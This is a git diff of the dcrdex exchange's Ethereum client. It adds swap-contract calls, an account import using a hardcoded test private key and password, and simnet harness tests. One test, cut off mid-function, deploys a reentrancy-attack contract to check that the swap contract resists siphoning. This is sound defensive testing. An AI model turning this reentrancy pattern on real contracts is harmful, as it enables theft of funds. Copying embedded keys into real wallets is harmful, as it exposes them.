diff --git a/client/asset/eth/eth.go b/client/asset/eth/eth.go index e5681210e9..045fa01fb4 100644 --- a/client/asset/eth/eth.go +++ b/client/asset/eth/eth.go @@ -7,6 +7,8 @@ import ( "bytes" "context" "crypto/sha256" + "encoding/hex" + "errors" "fmt" "math/big" "strings" @@ -16,10 +18,12 @@ import ( "decred.org/dcrdex/client/asset" "decred.org/dcrdex/dex" + swap "decred.org/dcrdex/dex/networks/eth" dexeth "decred.org/dcrdex/server/asset/eth" "github.com/decred/dcrd/dcrutil/v4" "github.com/ethereum/go-ethereum" "github.com/ethereum/go-ethereum/accounts" + "github.com/ethereum/go-ethereum/accounts/abi/bind" "github.com/ethereum/go-ethereum/common" "github.com/ethereum/go-ethereum/core/types" "github.com/ethereum/go-ethereum/node" @@ -104,7 +108,7 @@ type rawWallet struct { type ethFetcher interface { accounts() []*accounts.Account addPeer(ctx context.Context, peer string) error - balance(ctx context.Context, acct *accounts.Account) (*big.Int, error) + balance(ctx context.Context, addr common.Address) (*big.Int, error) bestBlockHash(ctx context.Context) (common.Hash, error) bestHeader(ctx context.Context) (*types.Header, error) block(ctx context.Context, hash common.Hash) (*types.Block, error) @@ -112,6 +116,7 @@ type ethFetcher interface { connect(ctx context.Context, node *node.Node, contractAddr common.Address) error importAccount(pw string, privKeyB []byte) (*accounts.Account, error) listWallets(ctx context.Context) ([]rawWallet, error) + initiate(opts *bind.TransactOpts, netID int64, refundTimestamp int64, secretHash [32]byte, participant common.Address) (*types.Transaction, error) lock(ctx context.Context, acct *accounts.Account) error nodeInfo(ctx context.Context) (*p2p.NodeInfo, error) pendingTransactions(ctx context.Context) ([]*types.Transaction, error) @@ -120,6 +125,9 @@ type ethFetcher interface { sendTransaction(ctx context.Context, tx map[string]string) (common.Hash, error) shutdown() syncProgress(ctx context.Context) (*ethereum.SyncProgress, error) + redeem(opts *bind.TransactOpts, netID int64, secret, secretHash [32]byte) (*types.Transaction, error) + refund(opts *bind.TransactOpts, netID int64, secretHash [32]byte) (*types.Transaction, error) + swap(ctx context.Context, from *accounts.Account, secretHash [32]byte) (*swap.ETHSwapSwap, error) unlock(ctx context.Context, pw string, acct *accounts.Account) error } @@ -172,7 +180,6 @@ func NewWallet(assetCFG *asset.WalletConfig, logger dex.Logger, network dex.Netw log: logger, tipChange: assetCFG.TipChange, internalNode: node, - acct: new(accounts.Account), }, nil } @@ -185,12 +192,18 @@ func (eth *ExchangeWallet) shutdown() { // Connect connects to the node RPC server. A dex.Connector. func (eth *ExchangeWallet) Connect(ctx context.Context) (*sync.WaitGroup, error) { c := rpcclient{} - if err := c.connect(ctx, eth.internalNode, mainnetContractAddr); err != nil { + err := c.connect(ctx, eth.internalNode, mainnetContractAddr) + if err != nil { return nil, err } eth.node = &c eth.ctx = ctx + eth.acct, err = eth.initAccount() + if err != nil { + return nil, err + } + // Initialize the best block. bestHash, err := eth.node.bestBlockHash(ctx) if err != nil { @@ -217,6 +230,37 @@ func (eth *ExchangeWallet) Connect(ctx context.Context) (*sync.WaitGroup, error) return &wg, nil } +// initAccount checks to see if the internal client has an account. If found +// returns the account. If not it imports the account via private key. +// +// Currently this only imports a test account. However, in the future this will +// need to be created deterministically from the app seed. +func (eth *ExchangeWallet) initAccount() (*accounts.Account, error) { + testAcctAddr := common.HexToAddress("b6de8bb5ed28e6be6d671975cad20c03931be981") + accts := eth.node.accounts() + for _, acct := range accts { + if bytes.Equal(acct.Address[:], testAcctAddr[:]) { + return acct, nil + } + } + testAcctPrivHex := "0695b9347a4dc096ae5c6f1935380ceba550c70b112f1323c211bade4d11651b" + pw := "abc" + privB, err := hex.DecodeString(testAcctPrivHex) + if err != nil { + return nil, err + } + acct, err := eth.node.importAccount(pw, privB) + if err != nil { + return nil, err + } + // core expects an account to be unlocked during initialization. + err = eth.node.unlock(eth.ctx, pw, acct) + if err != nil { + return nil, err + } + return acct, nil +} + // OwnsAddress indicates if an address belongs to the wallet. // // In Ethereum, an address is an account. @@ -229,7 +273,10 @@ func (eth *ExchangeWallet) OwnsAddress(address string) (bool, error) { // // TODO: Return Immature and Locked values. func (eth *ExchangeWallet) Balance() (*asset.Balance, error) { - bigBal, err := eth.node.balance(eth.ctx, eth.acct) + if eth.acct == nil { + return nil, errors.New("account not set") + } + bigBal, err := eth.node.balance(eth.ctx, eth.acct.Address) if err != nil { return nil, err } @@ -394,12 +441,12 @@ func (*ExchangeWallet) PayFee(address string, regFee uint64) (asset.Coin, error) } // sendToAddr sends funds from acct to addr. -func (eth *ExchangeWallet) sendToAddr(addr common.Address, amt, gasFee *big.Int) (common.Hash, error) { +func (eth *ExchangeWallet) sendToAddr(addr common.Address, amt, gasPrice *big.Int) (common.Hash, error) { tx := map[string]string{ "from": fmt.Sprintf("0x%x", eth.acct.Address), "to": fmt.Sprintf("0x%x", addr), "value": fmt.Sprintf("0x%x", amt), - "gasPrice": fmt.Sprintf("0x%x", gasFee), + "gasPrice": fmt.Sprintf("0x%x", gasPrice), } return eth.node.sendTransaction(eth.ctx, tx) } diff --git a/client/asset/eth/eth_test.go b/client/asset/eth/eth_test.go index 982de672aa..5a8673b8d3 100644 --- a/client/asset/eth/eth_test.go +++ b/client/asset/eth/eth_test.go @@ -12,9 +12,11 @@ import ( "time" "decred.org/dcrdex/dex" + swap "decred.org/dcrdex/dex/networks/eth" dexeth "decred.org/dcrdex/server/asset/eth" "github.com/ethereum/go-ethereum" "github.com/ethereum/go-ethereum/accounts" + "github.com/ethereum/go-ethereum/accounts/abi/bind" "github.com/ethereum/go-ethereum/common" "github.com/ethereum/go-ethereum/core/types" "github.com/ethereum/go-ethereum/node" @@ -60,7 +62,7 @@ func (n *testNode) block(ctx context.Context, hash common.Hash) (*types.Block, e func (n *testNode) accounts() []*accounts.Account { return nil } -func (n *testNode) balance(ctx context.Context, acct *accounts.Account) (*big.Int, error) { +func (n *testNode) balance(ctx context.Context, acct common.Address) (*big.Int, error) { return n.bal, n.balErr } func (n *testNode) sendTransaction(ctx context.Context, tx map[string]string) (common.Hash, error) { @@ -96,6 +98,18 @@ func (n *testNode) syncProgress(ctx context.Context) (*ethereum.SyncProgress, er func (n *testNode) pendingTransactions(ctx context.Context) ([]*types.Transaction, error) { return nil, nil } +func (n *testNode) initiate(opts *bind.TransactOpts, netID int64, refundTimestamp int64, secretHash [32]byte, participant common.Address) (*types.Transaction, error) { + return nil, nil +} +func (n *testNode) redeem(opts *bind.TransactOpts, netID int64, secret, secretHash [32]byte) (*types.Transaction, error) { + return nil, nil +} +func (n *testNode) refund(opts *bind.TransactOpts, netID int64, secretHash [32]byte) (*types.Transaction, error) { + return nil, nil +} +func (n *testNode) swap(ctx context.Context, from *accounts.Account, secretHash [32]byte) (*swap.ETHSwapSwap, error) { + return nil, nil +} func (n *testNode) transactionReceipt(ctx context.Context, txHash common.Hash) (*types.Receipt, error) { return nil, nil } @@ -316,6 +330,7 @@ func TestBalance(t *testing.T) { node: node, ctx: ctx, log: tLogger, + acct: new(accounts.Account), } bal, err := eth.Balance() cancel() diff --git a/client/asset/eth/node.go b/client/asset/eth/node.go index 4666a8a7cd..4cb8f7e23b 100644 --- a/client/asset/eth/node.go +++ b/client/asset/eth/node.go @@ -60,7 +60,7 @@ func (el *ethLogger) New(ctx ...interface{}) log.Logger { // to avoid null pointer errors in case geth ever uses that function. type dummyHandler struct{} -// Log does nothing and return nil. +// Log does nothing and returns nil. func (dummyHandler) Log(r *log.Record) error { return nil } @@ -119,7 +119,7 @@ func (el *ethLogger) Error(msg string, ctx ...interface{}) { // Crit logs at critical level. func (el *ethLogger) Crit(msg string, ctx ...interface{}) { - el.dl.Critical(formatEthLog(msg, ctx...)) + el.dl.Critical(formatEthLog(msg, ctx...)...) } // Check that *ethLogger satisfies the log.Logger interface. diff --git a/client/asset/eth/rpcclient.go b/client/asset/eth/rpcclient.go index b3a1bb3ea5..ce388490e1 100644 --- a/client/asset/eth/rpcclient.go +++ b/client/asset/eth/rpcclient.go @@ -8,8 +8,10 @@ import ( "fmt" "math/big" + swap "decred.org/dcrdex/dex/networks/eth" "github.com/ethereum/go-ethereum" "github.com/ethereum/go-ethereum/accounts" + "github.com/ethereum/go-ethereum/accounts/abi/bind" "github.com/ethereum/go-ethereum/accounts/keystore" "github.com/ethereum/go-ethereum/common" "github.com/ethereum/go-ethereum/core/types" @@ -31,11 +33,12 @@ type rpcclient struct { // ec wraps the client with some useful calls. ec *ethclient.Client n *node.Node + es *swap.ETHSwap } // connect connects to a node. It then wraps ethclient's client and // bundles commands in a form we can easily use. -func (c *rpcclient) connect(ctx context.Context, node *node.Node, contractAddr common.Address) error { // contractAddr will be used soonTM +func (c *rpcclient) connect(ctx context.Context, node *node.Node, contractAddr common.Address) error { client, err := node.Attach() if err != nil { return fmt.Errorf("unable to dial rpc: %v", err) @@ -43,6 +46,10 @@ func (c *rpcclient) connect(ctx context.Context, node *node.Node, contractAddr c c.c = client c.ec = ethclient.NewClient(client) c.n = node + c.es, err = swap.NewETHSwap(contractAddr, c.ec) + if err != nil { + return fmt.Errorf("unable to find swap contract: %v", err) + } return nil } @@ -96,9 +103,9 @@ func (c *rpcclient) accounts() []*accounts.Account { return accts } -// balance gets the current balance of an account. -func (c *rpcclient) balance(ctx context.Context, acct *accounts.Account) (*big.Int, error) { - return c.ec.BalanceAt(ctx, acct.Address, nil) +// balance gets the current balance of an address. +func (c *rpcclient) balance(ctx context.Context, addr common.Address) (*big.Int, error) { + return c.ec.BalanceAt(ctx, addr, nil) } // unlock uses a raw request to unlock an account indefinitely. @@ -203,3 +210,70 @@ func (c *rpcclient) peers(ctx context.Context) ([]*p2p.PeerInfo, error) { } return peers, nil } + +// swap gets a swap keyed by secretHash in the contract. +func (c *rpcclient) swap(ctx context.Context, from *accounts.Account, secretHash [32]byte) (*swap.ETHSwapSwap, error) { + callOpts := &bind.CallOpts{ + Pending: true, + From: from.Address, + Context: ctx, + } + swap, err := c.es.Swap(callOpts, secretHash) + if err != nil { + return nil, err + } + return &swap, nil +} + +// wallet returns a wallet that owns acct from an ethereum wallet. +func (c *rpcclient) wallet(acct accounts.Account) (accounts.Wallet, error) { + wallet, err := c.n.AccountManager().Find(acct) + if err != nil { + return nil, fmt.Errorf("error finding wallet for account %s: %v \n", acct.Address, err) + } + return wallet, nil +} + +func (c *rpcclient) addSignerToOpts(txOpts *bind.TransactOpts, netID int64) error { + wallet, err := c.wallet(accounts.Account{Address: txOpts.From}) + if err != nil { + return err + } + txOpts.Signer = func(addr common.Address, tx *types.Transaction) (*types.Transaction, error) { + return wallet.SignTx(accounts.Account{Address: addr}, tx, big.NewInt(netID)) + } + return nil +} + +// initiate creates a swap contract. The initiator will be the account at +// txOpts.From. Any on-chain failure, such as this secret hash already existing +// in the swaps map, will not cause this to error. +func (c *rpcclient) initiate(txOpts *bind.TransactOpts, netID int64, refundTimestamp int64, secretHash [32]byte, participant common.Address) (*types.Transaction, error) { + err := c.addSignerToOpts(txOpts, netID) + if err != nil { + return nil, err + } + return c.es.Initiate(txOpts, big.NewInt(refundTimestamp), secretHash, participant) +} + +// redeem redeems a swap contract. The redeemer will be the account at txOpts.From. +// Any on-chain failure, such as this secret not matching the hash, will not cause +// this to error. +func (c *rpcclient) redeem(txOpts *bind.TransactOpts, netID int64, secret, secretHash [32]byte) (*types.Transaction, error) { + err := c.addSignerToOpts(txOpts, netID) + if err != nil { + return nil, err + } + return c.es.Redeem(txOpts, secret, secretHash) +} + +// refund refunds a swap contract. The refunder will be the account at txOpts.From. +// Any on-chain failure, such as the locktime not being past, will not cause +// this to error. +func (c *rpcclient) refund(txOpts *bind.TransactOpts, netID int64, secretHash [32]byte) (*types.Transaction, error) { + err := c.addSignerToOpts(txOpts, netID) + if err != nil { + return nil, err + } + return c.es.Refund(txOpts, secretHash) +} diff --git a/client/asset/eth/rpcclient_harness_test.go b/client/asset/eth/rpcclient_harness_test.go index be88c4bc03..04925a408e 100644 --- a/client/asset/eth/rpcclient_harness_test.go +++ b/client/asset/eth/rpcclient_harness_test.go @@ -3,19 +3,27 @@ // This test requires that the testnet harness be running and the unix socket // be located at $HOME/dextest/eth/gamma/node/geth.ipc // -// These tests are expected to be run in descending as some depend on the tests before. They cannot -// be run in parallel. +// These tests are expected to be run in descending order as some depend on the +// tests before. They cannot be run in parallel. // -// NOTE: Occationally tests will fail with "timed out". Please try again... +// NOTE: These test reuse a light node that lives in the dextest folders. +// However, when recreating the test database for every test, the nonce used +// for imported accounts is sometimes, randomly, off, which causes transactions +// to not be mined and effectively makes the node unuseable (at least before +// restarting). It also seems to have caused getting balance of an account to +// fail, and sometimes the redeem and refund functions to also fail. This could +// be a problem in the future if a user restores from seed. Punting on this +// particular problem for now. // // TODO: Running these tests many times eventually results in all transactions -// returning "unexpeted error for test ok: exceeds block gas limit". Find out +// returning "unexpected error for test ok: exceeds block gas limit". Find out // why that is. package eth import ( "context" + "crypto/sha256" "encoding/hex" "errors" "fmt" @@ -29,6 +37,9 @@ import ( "decred.org/dcrdex/client/asset" "decred.org/dcrdex/dex" + "decred.org/dcrdex/dex/encode" + "decred.org/dcrdex/internal/eth/reentryattack" + "decred.org/dcrdex/server/asset/eth" "github.com/davecgh/go-spew/spew" "github.com/ethereum/go-ethereum/accounts" "github.com/ethereum/go-ethereum/accounts/abi/bind" @@ -37,22 +48,26 @@ import ( const ( pw = "abc" - alphaAddr = "enode://897c84f6e4f18195413c1d02927e6a4093f5e7574b52bdec6f20844c4f1f6dd3f16036a9e600bd8681ab50fd8dd144df4a6ba9dd8722bb578a86aaa8222c964f@127.0.0.1:30304" + alphaNode = "enode://897c84f6e4f18195413c1d02927e6a4093f5e7574b52bdec6f20844c4f1f6dd3f16036a9e600bd8681ab50fd8dd144df4a6ba9dd8722bb578a86aaa8222c964f@127.0.0.1:30304" + alphaAddr = "18d65fb8d60c1199bb1ad381be47aa692b482605" ) var ( - gasPrice = big.NewInt(82e9) - homeDir = os.Getenv("HOME") - alphaNodeDir = filepath.Join(homeDir, "dextest", "eth", "alpha", "node") - ethClient = new(rpcclient) - ctx context.Context - tLogger = dex.StdOutLogger("ETHTEST", dex.LevelTrace) - simnetAddr = common.HexToAddress("2b84C791b79Ee37De042AD2ffF1A253c3ce9bc27") - simnetAcct = &accounts.Account{Address: simnetAddr} - participantAddr = common.HexToAddress("345853e21b1d475582E71cC269124eD5e2dD3422") - participantAcct = &accounts.Account{Address: participantAddr} - simnetID = int64(42) - newTXOpts = func(ctx context.Context, from common.Address, value *big.Int) *bind.TransactOpts { + gasPrice = big.NewInt(82e9) + homeDir = os.Getenv("HOME") + contractAddrFile = filepath.Join(homeDir, "dextest", "eth", "contract_addr.txt") + testDir = filepath.Join(homeDir, "dextest", "eth", "client_rpc_tests") + alphaNodeDir = filepath.Join(homeDir, "dextest", "eth", "alpha", "node") + ethClient = new(rpcclient) + ctx context.Context + tLogger = dex.StdOutLogger("ETHTEST", dex.LevelTrace) + simnetAddr = common.HexToAddress("2b84C791b79Ee37De042AD2ffF1A253c3ce9bc27") + simnetAcct = &accounts.Account{Address: simnetAddr} + participantAddr = common.HexToAddress("345853e21b1d475582E71cC269124eD5e2dD3422") + participantAcct = &accounts.Account{Address: participantAddr} + contractAddr common.Address + simnetID = int64(42) + newTxOpts = func(ctx context.Context, from common.Address, value *big.Int) *bind.TransactOpts { return &bind.TransactOpts{ GasPrice: gasPrice, GasLimit: 1e6, @@ -101,14 +116,30 @@ func TestMain(m *testing.M) { cancel() ethClient.shutdown() }() - tmpDir, err := ioutil.TempDir("", "dextest") + // Create dir if none yet exists. This persists for the life of the + // testing harness. + if _, err := os.Stat(testDir); os.IsNotExist(err) { + err := os.Mkdir(testDir, 0755) + if err != nil { + fmt.Printf("error creating temp dir: %v\n", err) + os.Exit(1) + } + } + addrBytes, err := ioutil.ReadFile(contractAddrFile) if err != nil { - fmt.Printf("error creating temp dir: %v\n", err) + fmt.Printf("error reading contract address: %v\n", err) os.Exit(1) } - defer os.RemoveAll(tmpDir) + addrLen := len(addrBytes) + if addrLen == 0 { + fmt.Printf("no contract address found at %v\n", contractAddrFile) + os.Exit(1) + } + addrStr := string(addrBytes[:addrLen-1]) + contractAddr = common.HexToAddress(addrStr) + fmt.Printf("Contract address is %v\n", addrStr) settings := map[string]string{ - "appdir": tmpDir, + "appdir": testDir, "nodelistenaddr": "localhost:30355", } wallet, err := NewWallet(&asset.WalletConfig{Settings: settings}, tLogger, dex.Simnet) @@ -116,12 +147,12 @@ func TestMain(m *testing.M) { fmt.Printf("error starting node: %v\n", err) os.Exit(1) } - fmt.Printf("Node created at: %v\n", tmpDir) + fmt.Printf("Node created at: %v\n", testDir) defer func() { wallet.internalNode.Close() wallet.internalNode.Wait() }() - if err := ethClient.connect(ctx, wallet.internalNode, common.Address{}); err != nil { + if err := ethClient.connect(ctx, wallet.internalNode, common.HexToAddress(addrStr)); err != nil { fmt.Printf("connect error: %v\n", err) os.Exit(1) } @@ -137,7 +168,7 @@ func TestNodeInfo(t *testing.T) { } func TestAddPeer(t *testing.T) { - if err := ethClient.addPeer(ctx, alphaAddr); err != nil { + if err := ethClient.addPeer(ctx, alphaNode); err != nil { t.Fatal(err) } } @@ -190,6 +221,12 @@ func TestBlock(t *testing.T) { } func TestImportAccounts(t *testing.T) { + // Unable to import a second time. + accts := ethClient.accounts() + if len(accts) > 1 { + fmt.Println("Skipping TestImportAccounts because accounts are already imported.") + t.Skip() + } // The address of this will be 2b84C791b79Ee37De042AD2ffF1A253c3ce9bc27. privB, err := hex.DecodeString("9447129055a25c8496fca9e5ee1b9463e47e6043ff0c288d07169e8284860e34") if err != nil { @@ -218,7 +255,7 @@ func TestAccounts(t *testing.T) { } func TestBalance(t *testing.T) { - bal, err := ethClient.balance(ctx, simnetAcct) + bal, err := ethClient.balance(ctx, simnetAddr) if err != nil { t.Fatal(err) } @@ -264,7 +301,7 @@ func TestSendTransaction(t *testing.T) { } spew.Dump(txHash) if err := waitForMined(t, time.Second*10, false); err != nil { - t.Fatal("timeout") + t.Fatal(err) } } @@ -284,7 +321,7 @@ func TestTransactionReceipt(t *testing.T) { t.Fatal(err) } if err := waitForMined(t, time.Second*10, false); err != nil { - t.Fatal("timeout") + t.Fatal(err) } receipt, err := ethClient.transactionReceipt(ctx, txHash) if err != nil { @@ -302,6 +339,17 @@ func TestPendingTransactions(t *testing.T) { spew.Dump(txs) } +func TestSwap(t *testing.T) { + var secretHash [32]byte + copy(secretHash[:], encode.RandomBytes(32)) + swap, err := ethClient.swap(ctx, simnetAcct, secretHash) + if err != nil { + t.Fatal(err) + } + // Should be empty. + spew.Dump(swap) +} + func TestSyncProgress(t *testing.T) { progress, err := ethClient.syncProgress(ctx) if err != nil { @@ -317,3 +365,479 @@ func TestPeers(t *testing.T) { } spew.Dump(peers) } + +func TestInitiate(t *testing.T) { + now := time.Now().Unix() + var secretHash [32]byte + copy(secretHash[:], encode.RandomBytes(32)) + err := ethClient.unlock(ctx, pw, simnetAcct) + if err != nil { + t.Fatal(err) + } + amt := big.NewInt(1e18) + txOpts := newTxOpts(ctx, simnetAddr, amt) + swap, err := ethClient.swap(ctx, simnetAcct, secretHash) + if err != nil { + t.Fatal("unable to get swap state") + } + spew.Dump(swap) + state := eth.SwapState(swap.State) + if state != eth.None { + t.Fatalf("unexpected swap state: want %s got %s", eth.None, state) + } + + tests := []struct { + name string + subAmt bool + finalState eth.SwapState + }{{ + name: "ok", + finalState: eth.Initiated, + subAmt: true, + }, { + // If the hash already exists, the contract should subtract only + // the tx fee from the account. + name: "secret hash already exists", + finalState: eth.Initiated, + }} + + for _, test := range tests { + originalBal, err := ethClient.balance(ctx, simnetAddr) + if err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + + tx, err := ethClient.initiate(txOpts, simnetID, now, secretHash, participantAddr) + if err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + spew.Dump(tx) + + if err := waitForMined(t, time.Second*10, false); err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + + // It appears the receipt is only accessable after the tx is mined. + receipt, err := ethClient.transactionReceipt(ctx, tx.Hash()) + if err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + spew.Dump(receipt) + + // Balance should be reduced by a certain amount depending on + // whether initiate completed successfully on-chain. If + // unsuccessful the fee is subtracted. If successful, amt is + // also subtracted. + bal, err := ethClient.balance(ctx, simnetAddr) + if err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + txFee := big.NewInt(0).Mul(big.NewInt(int64(receipt.GasUsed)), gasPrice) + wantBal := big.NewInt(0).Sub(originalBal, txFee) + if test.subAmt { + wantBal.Sub(wantBal, amt) + } + if bal.Cmp(wantBal) != 0 { + t.Fatalf("unexpected balance change for test %v: want %v got %v", test.name, wantBal, bal) + } + + swap, err = ethClient.swap(ctx, simnetAcct, secretHash) + if err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + state := eth.SwapState(swap.State) + if state != test.finalState { + t.Fatalf("unexpected swap state for test %v: want %s got %s", test.name, test.finalState, state) + } + } +} + +func TestRedeem(t *testing.T) { + amt := big.NewInt(1e18) + locktime := time.Second * 12 + tests := []struct { + name string + sleep time.Duration + redeemer *accounts.Account + finalState eth.SwapState + addAmt, badSecret bool + }{{ + name: "ok before locktime", + sleep: time.Second * 8, + redeemer: participantAcct, + finalState: eth.Redeemed, + addAmt: true, + }, { + name: "ok after locktime", + sleep: time.Second * 16, + redeemer: participantAcct, + finalState: eth.Redeemed, + addAmt: true, + }, { + name: "bad secret", + sleep: time.Second * 8, + redeemer: participantAcct, + finalState: eth.Initiated, + badSecret: true, + }, { + name: "wrong redeemer", + sleep: time.Second * 8, + finalState: eth.Initiated, + redeemer: simnetAcct, + }} + + for _, test := range tests { + err := ethClient.unlock(ctx, pw, simnetAcct) + if err != nil { + t.Fatal(err) + } + err = ethClient.unlock(ctx, pw, participantAcct) + if err != nil { + t.Fatal(err) + } + txOpts := newTxOpts(ctx, simnetAddr, amt) + var secret [32]byte + copy(secret[:], encode.RandomBytes(32)) + secretHash := sha256.Sum256(secret[:]) + + swap, err := ethClient.swap(ctx, simnetAcct, secretHash) + if err != nil { + t.Fatal("unable to get swap state") + } + state := eth.SwapState(swap.State) + if state != eth.None { + t.Fatalf("unexpected swap state for test %v: want %s got %s", test.name, eth.None, state) + } + + // Create a secret that doesn't has to secretHash. + if test.badSecret { + copy(secret[:], encode.RandomBytes(32)) + } + + inLocktime := time.Now().Add(locktime).Unix() + _, err = ethClient.initiate(txOpts, simnetID, inLocktime, secretHash, participantAddr) + if err != nil { + t.Fatalf("unable to initiate swap for test %v: %v ", test.name, err) + } + + // This waitForMined will always take test.sleep to complete. + if err := waitForMined(t, test.sleep, true); err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + originalBal, err := ethClient.balance(ctx, test.redeemer.Address) + if err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + txOpts = newTxOpts(ctx, test.redeemer.Address, nil) + tx, err := ethClient.redeem(txOpts, simnetID, secret, secretHash) + if err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + spew.Dump(tx) + + if err := waitForMined(t, time.Second*10, false); err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + + // It appears the receipt is only accessable after the tx is mined. + receipt, err := ethClient.transactionReceipt(ctx, tx.Hash()) + if err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + spew.Dump(receipt) + + // Balance should increase or decrease by a certain amount + // depending on whether redeem completed successfully on-chain. + // If unsuccessful the fee is subtracted. If successful, amt is + // added. + bal, err := ethClient.balance(ctx, test.redeemer.Address) + if err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + txFee := big.NewInt(0).Mul(big.NewInt(int64(receipt.GasUsed)), gasPrice) + wantBal := big.NewInt(0).Sub(originalBal, txFee) + if test.addAmt { + wantBal.Add(wantBal, amt) + } + if bal.Cmp(wantBal) != 0 { + t.Fatalf("unexpected balance change for test %v: want %v got %v", test.name, wantBal, bal) + } + + swap, err = ethClient.swap(ctx, simnetAcct, secretHash) + if err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + state = eth.SwapState(swap.State) + if state != test.finalState { + t.Fatalf("unexpected swap state for test %v: want %s got %s", test.name, test.finalState, state) + } + } +} + +func TestRefund(t *testing.T) { + amt := big.NewInt(1e18) + locktime := time.Second * 12 + tests := []struct { + name string + sleep time.Duration + refunder *accounts.Account + finalState eth.SwapState + addAmt, redeem bool + }{{ + name: "ok", + sleep: time.Second * 16, + refunder: simnetAcct, + addAmt: true, + finalState: eth.Refunded, + }, { + name: "before locktime", + sleep: time.Second * 8, + refunder: simnetAcct, + finalState: eth.Initiated, + }, { + name: "wrong refunder", + sleep: time.Second * 16, + refunder: participantAcct, + finalState: eth.Initiated, + }, { + name: "already redeemed", + sleep: time.Second * 16, + refunder: simnetAcct, + redeem: true, + finalState: eth.Redeemed, + }} + + for _, test := range tests { + err := ethClient.unlock(ctx, pw, simnetAcct) + if err != nil { + t.Fatal(err) + } + err = ethClient.unlock(ctx, pw, participantAcct) + if err != nil { + t.Fatal(err) + } + txOpts := newTxOpts(ctx, simnetAddr, amt) + var secret [32]byte + copy(secret[:], encode.RandomBytes(32)) + secretHash := sha256.Sum256(secret[:]) + + swap, err := ethClient.swap(ctx, simnetAcct, secretHash) + if err != nil { + t.Fatal("unable to get swap state") + } + state := eth.SwapState(swap.State) + if state != eth.None { + t.Fatalf("unexpected swap state for test %v: want %s got %s", test.name, eth.None, state) + } + + inLocktime := time.Now().Add(locktime).Unix() + _, err = ethClient.initiate(txOpts, simnetID, inLocktime, secretHash, participantAddr) + if err != nil { + t.Fatalf("unable to initiate swap for test %v: %v ", test.name, err) + } + + if test.redeem { + if err := waitForMined(t, time.Second*8, false); err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + txOpts = newTxOpts(ctx, participantAddr, nil) + _, err := ethClient.redeem(txOpts, simnetID, secret, secretHash) + if err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + } + + // This waitForMined will always take test.sleep to complete. + if err := waitForMined(t, test.sleep, true); err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + + originalBal, err := ethClient.balance(ctx, test.refunder.Address) + if err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + + txOpts = newTxOpts(ctx, test.refunder.Address, nil) + tx, err := ethClient.refund(txOpts, simnetID, secretHash) + if err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + spew.Dump(tx) + + if err := waitForMined(t, time.Second*10, false); err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + + // It appears the receipt is only accessable after the tx is mined. + receipt, err := ethClient.transactionReceipt(ctx, tx.Hash()) + if err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + spew.Dump(receipt) + + // Balance should increase or decrease by a certain amount + // depending on whether redeem completed successfully on-chain. + // If unsuccessful the fee is subtracted. If successful, amt is + // added. + bal, err := ethClient.balance(ctx, test.refunder.Address) + if err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + txFee := big.NewInt(0).Mul(big.NewInt(int64(receipt.GasUsed)), gasPrice) + wantBal := big.NewInt(0).Sub(originalBal, txFee) + if test.addAmt { + wantBal.Add(wantBal, amt) + } + if bal.Cmp(wantBal) != 0 { + t.Fatalf("unexpected balance change for test %v: want %v got %v", test.name, wantBal, bal) + } + + swap, err = ethClient.swap(ctx, simnetAcct, secretHash) + if err != nil { + t.Fatalf("unexpected error for test %v: %v", test.name, err) + } + state = eth.SwapState(swap.State) + if state != test.finalState { + t.Fatalf("unexpected swap state for test %v: want %s got %s", test.name, test.finalState, state) + } + } +} + +func TestReplayAttack(t *testing.T) { + amt := big.NewInt(1e18) + err := ethClient.unlock(ctx, pw, simnetAcct) + if err != nil { + t.Fatal(err) + } + + txOpts := newTxOpts(ctx, simnetAddr, nil) + err = ethClient.addSignerToOpts(txOpts, simnetID) + if err != nil { + t.Fatal(err) + } + + // Deploy the reentry attack contract. + _, _, reentryContract, err := reentryattack.DeployReentryAttack(txOpts, ethClient.ec) + if err != nil { + t.Fatal(err) + } + if err := waitForMined(t, time.Second*10, false); err != nil { + t.Fatal(err) + } + + originalContractBal, err := ethClient.balance(ctx, contractAddr) + if err != nil { + t.Fatal(err) + } + + txOpts.Value = amt + var secretHash [32]byte + // Make four swaps that should be locked and refundable and one that is + // soon refundable. + for i := 0; i < 5; i++ { + var secret [32]byte + copy(secret[:], encode.RandomBytes(32)) + secretHash = sha256.Sum256(secret[:]) + + if i != 4 { + inLocktime := time.Now().Add(time.Hour).Unix() + _, err = ethClient.initiate(txOpts, simnetID, inLocktime, secretHash, participantAddr) + if err != nil { + t.Fatalf("unable to initiate swap: %v ", err) + } + + if err := waitForMined(t, time.Second*10, false); err != nil { + t.Fatal(err) + } + continue + } + + inLocktime := time.Now().Add(-1 * time.Second).Unix() + // Set some variables in the contract used for the exploit. This + // will fail (silently) due to require(msg.origin == msg.sender) + // in the real contract. + _, err := reentryContract.SetUsUpTheBomb(txOpts, contractAddr, secretHash, big.NewInt(inLocktime), participantAddr) + if err != nil { + t.Fatalf("unable to set up the bomb: %v", err) + } + if err = waitForMined(t, time.Second*10, false); err != nil { + t.Fatal(err) + } + } + + txOpts.Value = nil + // Siphon funds into the contract. + tx, err := reentryContract.AllYourBase(txOpts) + if err != nil { + t.Fatalf("unable to get all your base: %v", err) + } + spew.Dump(tx) + if err = waitForMined(t, time.Second*10, false); err != nil { + t.Fatal(err) + } + receipt, err := ethClient.transactionReceipt(ctx, tx.Hash()) + if err != nil 